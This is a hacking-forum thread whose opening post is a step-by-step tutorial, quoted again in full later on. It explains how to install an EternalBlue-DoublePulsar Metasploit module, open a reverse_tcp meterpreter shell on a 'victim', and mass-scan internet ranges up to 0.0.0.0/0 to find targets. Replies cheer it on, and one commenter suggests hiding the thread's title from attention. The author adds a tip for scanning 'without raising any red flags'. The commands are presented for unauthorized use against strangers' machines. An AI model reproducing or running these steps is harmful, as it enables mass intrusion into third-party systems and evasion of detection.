

Forum:[Hack Forums](#)

Thread: [Tutorial: NSA Eternalblue mass-scanning and mass-exploitation \(noob friendly\)](#)

Toxicique - October 8, 2017, 12:42 pm

This thread will cover

- 1) Masscaning using github.com / peterpt / eternal_scanner
- 2) Exploiting any possible vulnerable machines found by this scanner.

Please note, this is my first post on HF, so be nice, will ya?

0x00 - Assumptions

- 1) This tutorial will assume that you have metasploit properly installed and configured on your machine.
- 2) This tutorial will assume that you have a basic understanding of UNIX-like/Linux environments.
- 3) That you are running this on a UNIX-like environment
- 4) Understanding of metasploit and how to portforward its services.
- 5) That you have a brain :keppo:

Of course, it's possible to set up this on a windows environment, but that takes time and some kind of effort. Who needs effort amirite?

0x01 - Installing the exploit to metasploit.

```
cd /root/
```

```
# assumes you have git installed on your machine
```

```
sudo git clone github. com / ElevenPaths /Eternalblue-Doublepulsar-Metasploit.  
git
```

```
cd Eternalblue-Doublepulsar-Metasploit
```

```
sudo cp eternalblue_doublepulsar.rb / usr/share/ metasploit-framework/  
modules/exploits / windows/smb /
```

```
# and that is your exploit installed
```

0x02 - Exploiting people using metasploit and the installed exploit

```
msfconsole
```

```
use exploit /windows/ smb/ eternalblue_doublepulsar
```

```
# assuming you want reverse_tcp
```

```
set payload windows /meterpreter . /reverse_tcp
```

```
set LHOST <your ip>
```

```
set RHOST <victim ip>
```

```
exploit
```

```
# and that is your victim exploited.
```

```
-----
```

```
0x03 - Getting the victims
```

```
sudo apt-get install masscan # or install it using your machines package manager
```

```
git clone github. com /peterpt /eternal_scanner # assuming you have git installed
```

```
cd eternal_scanner
```

```
./escan
```

You'll get a dialog asking for an ip range. If you wish to scan the entire fuckin' internet, type in 0.0.0.0/0.

If you have a brain, on the other hand, use more reasonable ranges. If you don't know CIDR Subnet Mask Notation, google is a friend. PM or leave a post on this thread and I'll link a tutorial.

Vulnerable IP addresses will be displayed in the terminal window. If you want you can >> it all into a log file.

Oh and, this scanner is extremely powerful - it will literally eat up all available bandwidth. Use it on a VPS or enjoy living without internet.

```
-----
```

That is all. Hope you found this tutorial somewhat educational.

```
-- toxcique
```

The Masked Pear - January 29, 2018, 4:39 pm

This is one of the most powerfull tuto i've seen over here.

All noobs don't even understand what can do this kind of simple attack...

You can get many many vitcims with that.

Thank you very much, i give a try right now !

cryptsec - March 23, 2018, 11:00 am

Great tut,thank you very much

Bear - March 23, 2018, 11:02 am

If I were you, I would change that title, just to avoid attention from places.

xblwolf - March 23, 2018, 9:16 pm

Pretty good tutorial man, thanks for this!

Toxcique - March 24, 2018, 2:52 am

(Mar 23, 2018 11:02 AM)Bear. Wrote: [\[CITE\]](#) If I were you, I would change that title, just to avoid attention from places.

what do you mean?

Thank you for all positive replies!

adey66 - March 24, 2018, 5:35 am

man honestly I wish you kept this to yourself. skids will be all over it

icy? - March 26, 2018, 9:35 am

(Mar 23, 2018 11:02 AM)Bear. Wrote: [\[CITE\]](#) If I were you, I would change that title, just to avoid attention from places.

I was going to say the same thing. ?

(Mar 24, 2018 02:52 AM)Toxcique Wrote: [\[CITE\]](#) what do you mean?

Thank you for all positive replies!

I see NSA I click. ?

Nice tutorial, it seems informative. Although, I'm not the best when it comes to git and exploits.

R^ptor - May 14, 2018, 11:30 pm

This is golden thumbs up

WONKA - May 15, 2018, 12:57 am

Very informative thanks for sharing

Toxcique - May 16, 2018, 5:24 am

thank you for the great response. I forgot to mention that you can change the scanner speed, in the file "escan, line 26.

it should be: rt="500"

however, if your servers are fast, you could increase it. My servers can reach 90kpps without raising any red flags; use zmap to find your limits, then change the rate.

SIM-4100260 - February 23, 2019, 9:28 am

(Oct 8, 2017 12:42 PM)Toxcique Wrote: [\[CITE\]](#) This thread will cover

- 1) Masscaning using github.com / peterpt / eternal_scanner
- 2) Exploiting any possible vulnerable machines found by this scanner.

Please note, this is my first post on HF, so be nice, will ya?

0x00 - Assumptions

- 1) This tutorial will assume that you have metasploit properly installed and configured on your machine.
- 2) This tutorial will assume that you have a basic understanding of UNIX-like/Linux environments.
- 3) That you are running this on a UNIX-like environment
- 4) Understanding of metasploit and how to portforward its services.
- 5) That you have a brain :keppo:

Of course, it's possible to set up this on a windows environment, but that takes time and some kind of effort. Who needs effort amirite?

0x01 - Installing the exploit to metasploit.

```
cd /root/
```

```
# assumes you have git installed on your machine
sudo git clone github. com / ElevenPaths /Eternalblue-Doublepulsar-Metasploit.
git
```

```
cd Eternalblue-Doublepulsar-Metasploit
```

```
sudo cp eternalblue_doublepulsar.rb /usr/share/ metasploit-framework/
modules/exploits / windows/smb /
```

```
# and that is your exploit installed
```

```
-----
```

```
0x02 - Exploiting people using metasploit and the installed exploit
```

```
msfconsole
```

```
use exploit /windows/ smb/ eternalblue_doublepulsar
```

```
# assuming you want reverse_tcp
set payload windows /meterpreter . /reverse_tcp
```

```
set LHOST <your ip>
```

```
set RHOST <victim ip>
```

```
exploit
```

```
# and that is your victim exploited.
```

```
-----
```

```
0x03 - Getting the victims
```

```
sudo apt-get install masscan # or install it using your machines package manager
```

```
git clone github. com /peterpt /eternal_scanner # assuming you have git installed
```

```
cd eternal_scanner
```

```
./escan
```

You'll get a dialog asking for an ip range. If you wish to scan the entire fuckin' internet, type in 0.0.0.0/0.

If you have a brain, on the other hand, use more reasonable ranges. If you don't know CIDR Subnet Mask Notation, google is a friend. PM or leave a post on this thread and I'll link a tutorial.

Vulnerable IP addresses will be displayed in the terminal window. If you want you can >> it all into a log file.

Oh and, this scanner is extremely powerful - it will literally eat up all available bandwidth. Use it on a VPS or enjoy living without internet.

```
-----
```

That is all. Hope you found this tutorial somewhat educational.

-- toxcique

Perfect for my local library's fast internet connection ?

wtsxhack - *March 31, 2019, 9:35 am*

Thankss Very helpful thread. :)

802.1X - *March 31, 2019, 9:38 am*

HQ content here. Keep it up :-)

tahaamjad03 - *April 2, 2019, 12:15 am*

Thank you so much for sharing and contributing!!

wrapmycode - *April 4, 2019, 6:32 pm*

Thank you for useful information.